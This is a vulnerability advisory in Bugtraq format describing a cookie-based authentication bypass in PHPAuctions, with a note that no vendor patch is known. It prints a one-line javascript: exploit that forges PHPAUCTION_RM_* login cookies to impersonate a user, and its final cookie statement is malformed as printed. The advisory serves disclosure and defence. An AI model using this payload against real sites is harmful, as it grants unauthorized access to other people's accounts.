PHPAuctions Cookie Authentication Bypass Vulnerability

Bugtraq ID:	33120
Class:	Access Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 05 2009 12:00AM
Updated:	Jan 06 2009 05:12PM
Credit:	ZoRLu
Vulnerable:	PHPAuctions.info PHPAuctions 0
Not Vulnerable:

PHPAuctions Cookie Authentication Bypass Vulnerability

PHPAuctions is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain unauthorized access to the affected application, which may aid in further attacks.

PHPAuctions Cookie Authentication Bypass Vulnerability

Attackers can exploit this issue via a browser.

The following exploit is available:

javascript:document.cookie = "PHPAUCTION_RM_ID=[ID]; path=/"; document.cookie = "PHPAUCTION_RM_NAME=[Real_name]; path=/"; document.cookie = "PHPAUCTION_RM_USERNAME=[User_name]; path=/"; "PHPAUCTION_RM_EMAIL=[email]; path=/";

PHPAuctions Cookie Authentication Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

PHPAuctions Cookie Authentication Bypass Vulnerability

References:

• Vendor Homepage (PHPAuctions.info)